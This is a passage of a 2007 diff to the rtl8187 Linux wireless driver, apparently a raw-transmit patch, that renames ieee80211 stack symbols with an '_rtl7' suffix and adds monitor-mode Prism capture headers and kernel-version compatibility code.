.deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-05-26 10:38:11.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-05-26 10:38:07.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-05-26 10:38:07.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, 